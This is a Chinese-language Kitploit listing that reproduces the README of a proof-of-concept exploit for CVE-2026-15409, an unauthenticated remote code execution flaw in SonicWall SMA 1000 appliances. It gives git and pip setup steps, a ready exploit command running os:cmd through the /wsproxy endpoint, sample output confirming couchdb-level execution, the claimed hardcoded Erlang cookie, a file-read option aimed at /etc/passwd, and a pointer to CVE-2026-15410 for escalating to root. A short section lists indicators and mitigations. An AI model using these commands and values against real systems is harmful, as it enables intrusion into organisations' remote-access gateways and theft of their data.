Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-15409 — CVE-2026-15409(SonicWall SMA 1000 远程代码执行)的概念验证漏洞利用,通过 WebSocket 上的 Erlang 分布式协议实现。可未经身份验证地以 couchdb 用户身份执行远程代码。 | Kitploit
工具/GitHubGitHub/ch4120n/cve-2026-15409
漏洞分析漏洞利用Web应用程序漏洞利用数据泄露后渗透利用渗透测试红队
GitHubch4120n/cve-2026-15409

CVE-2026-15409

CVE-2026-15409(SonicWall SMA 1000 远程代码执行)的概念验证漏洞利用,通过 WebSocket 上的 Erlang 分布式协议实现。可未经身份验证地以 couchdb 用户身份执行远程代码。

查看仓库
131个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🚀 CVE-2026-15409 – 通过 WebSocket 代理实现 SonicWall SMA 1000 Erlang RCE

Python Exploit CVE

GitHub stars GitHub issues License

CVE-2026-15409 的概念验证(PoC)漏洞利用 – 通过 WebSocket 隧道传输的 Erlang 分布式协议,在 SonicWall SMA 1000 系列设备上实现未认证的远程代码执行。


📖 概述

CVE-2026-15409 是一个影响 SonicWall SMA 1000 设备(2026 年 6 月热修复之前的所有版本)的严重漏洞。该缺陷位于 WorkPlace 服务(通常暴露在 443 端口)中,该服务将 WebSocket 连接代理到内部 Erlang 节点。攻击者通过伪造有效的 bmID 参数并使用硬编码的 Erlang cookie,即可建立经过认证的分布式通道,并借助对 的 RPC 调用,以 用户(或其他低权限账户)的身份执行任意系统命令。

os:cmd/1
couchdb

本仓库提供了一个功能完整的 PoC,以简洁的界面、完善的错误处理和美观的日志输出,自动化整个攻击链——从 WebSocket 握手到任意命令执行。

🔍 主要特性

  • WebSocket 隧道 – 通过 wsproxy 端点直接基于 wss:// 工作。
  • Erlang 分布式协议 – 完整实现了握手和 ETF(Erlang External Term Format)。
  • 远程代码执行 – 通过 os:cmd/1 实现;可通过 file:read_file/1 读取文件,或通过 erlang:node/0 测试连通性。
  • 智能检测 – 支持任意 bmID 值(只要以 -3389 开头)和多种 serviceType 值。
  • 全面的日志记录 – 使用 [+]、[*]、[-]、[!] 符号进行彩色标记的消息输出,便于监控。

🧬 漏洞详情

该漏洞源于 SMA 1000 中的以下设计缺陷:

  1. 不受限制的 WebSocket 代理 – /wsproxy 端点将二进制 WebSocket 消息转发到本地 Erlang 分布式端口(默认 localhost:1050),且没有适当的身份验证或授权。
  2. 可预测/硬编码的 Erlang cookie – 用于分布式身份验证的 cookie 在所有 SMA 设备上都是静态的(至少在测试版本中如此)。这使得外部攻击者能够完成握手。
  3. 暴露的 Erlang 节点 – Erlang 节点 [email protected] 监听 1050 端口并接受来自 WebSocket 代理的连接,从而可从网络访问。
  4. 强大的 RPC 接口 – 该 Erlang 节点提供标准的 rex 服务,可在节点上执行任意函数,包括 os:cmd/1。

受影响版本

  • 固件早于 2026 年 6 月热修复的 SonicWall SMA 1000 系列(例如 ex_sra_vm_12.5.0-02002.ova)。
  • 必须启用 WorkPlace 服务(默认配置)。

影响

  • 以 couchdb 用户(UID 1010,daemon 组)身份实现远程代码执行。
  • 横向移动 – 攻击者可利用 CVE-2026-15410(XML‑RPC 路径遍历)将权限提升至 root。
  • 数据窃取 – 通过 file:read_file/1 读取任意文件。
  • 持久化 – 安装后门或修改系统文件。

🔧 利用条件

  • 能够通过网络访问 SMA 设备的 WorkPlace 服务(通常为 TCP/443)。
  • 无需有效凭据 – 该漏洞利用可在未认证的情况下工作。
  • Python 3.8+,并安装 websockets 库(通过 pip install websockets 安装)。

🚀 使用方法

安装

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt   # websockets

基本命令

root@kitploit:~
python3 cve-2026-15409.py \
  --ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
  --ws-user-agent 'SMA Connect Agent' \
  --ws-insecure-tls \
  --exec 'whoami && id && pwd && hostname'

示例输出

root@kitploit:~
  ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
  ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
  ░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
                    [CVE-2026-15409]
         Erlang Distribution RCE via WebSocket Proxy
                     Owner: Ch4120N

[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

高级选项

参数说明
--host, --portTCP 回退(如果不使用 WebSocket)
--cookie覆盖默认的硬编码 cookie
--name自定义本地 Erlang 节点名称
--ws-origin为 WebSocket 设置 Origin 头
--ws-user-agentUser‑Agent 字符串(默认:SMA Connect Agent)
--ws-insecure-tls禁用 TLS 验证(自签名证书)
--read-file从目标读取文件(例如 /etc/passwd)
--rpc仅通过调用 erlang:node/0 测试连接

🧪 检测与调优的技术细节

硬编码 Cookie

漏洞利用中使用的 Erlang cookie 为:

root@kitploit:~
10ecad5b446e86864832904cd439b6b70262

该值在所有已测试的 SMA 设备上保持一致,并硬编码在 localhost:1050 上的 Erlang 进程中。它与用户为集群配置的 cookie 不同。

bmID 参数

bmID 必须以 -3389 开头(例如 -3389c1b25ccd)。前缀之后的任意值均被接受,因此基于签名的检测不应依赖于固定的哈希值。

服务类型

虽然示例使用 serviceType=SSH,但 TELNET 等其他值同样有效。该漏洞利用不依赖服务类型。

端口选择

1050 是默认的内部端口,但在野攻击中已观察到针对 8188 端口的情况。该漏洞利用可适配任何暴露 Erlang 分布式协议的端口。

权限提升

在以 couchdb 身份获得 shell 后,攻击者可利用 CVE-2026-15410 – 一个 XML‑RPC 路径遍历漏洞,可删除热修复并随后将权限提升至 root。


🛡️ 检测与缓解

入侵指标 (IoCs)

  • 针对 /wsproxy 且 bmID 以 -3389 开头的异常 WebSocket 连接。
  • SMA 设备发往外部 IP 的意外出站连接。
  • 由 couchdb 用户生成的进程(例如 bash、python、nc)。
  • couchdb 用户修改或创建 /var/tmp/ 中的文件。

建议措施

  1. 立即应用 SonicWall 的官方补丁(2026 年 6 月热修复)。
  2. 限制访问 – 仅允许受信任的 IP 范围访问 WorkPlace 服务。
  3. 监控日志 – 关注异常的 WebSocket 活动和 Erlang 分布式连接尝试。
  4. 更改内部 Erlang 节点的 Erlang cookie(如果可能)– 但这可能会影响应用程序功能。
  5. 禁用 WorkPlace 服务(如果不需要)。

👏 致谢

  • 发现与 PoC:Ch4120N。
  • 额外研究:SonicWall PSIRT 及更广泛的安全社区。

📄 许可证

本项目基于 MIT 许可证授权 – 详情请参阅 LICENSE 文件。

免责声明:本工具仅用于教育和授权测试目的。作者和贡献者不对因使用本软件而造成的任何滥用或损害负责。


📚 参考资料

  • SonicWall 安全公告 (CVE-2026-15409)
  • NIST NVD 条目 – CVE-2026-15409

⭐ 支持

如果您觉得这个 PoC 有用,请考虑在 GitHub 上给它一个 ⭐,并负责任地分享。欢迎贡献代码、提交 issue 和拉取请求!


祝破解愉快! 🛡️

下载工具